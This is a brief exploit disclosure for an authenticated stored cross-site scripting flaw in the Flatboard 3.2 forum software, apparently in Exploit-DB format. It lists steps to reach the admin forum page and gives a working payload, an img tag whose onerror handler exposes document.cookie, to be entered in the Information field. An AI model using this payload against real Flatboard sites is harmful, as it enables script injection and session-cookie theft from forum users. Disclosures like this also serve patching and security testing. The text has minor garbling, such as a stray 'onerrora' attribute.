# Exploit Title: Flatboard 3.2 - Stored Cross-Site Scripting (XSS) (Authenticated)# Date: 2024-06-23# Exploit Author: tmrswrr# Category : Webapps# Vendor Homepage: https://flatboard.org/# Version: 3.2# PoC:1-Login admin panel , go to this url : https://127.0.0.1//Flatboard/index.php/forum
2-Click Add Forum and write inInformation field your payload : "><img src=x onerrora=confirm() onerror=confirm(document.cookie)>3-Save it , you will be payload will be executed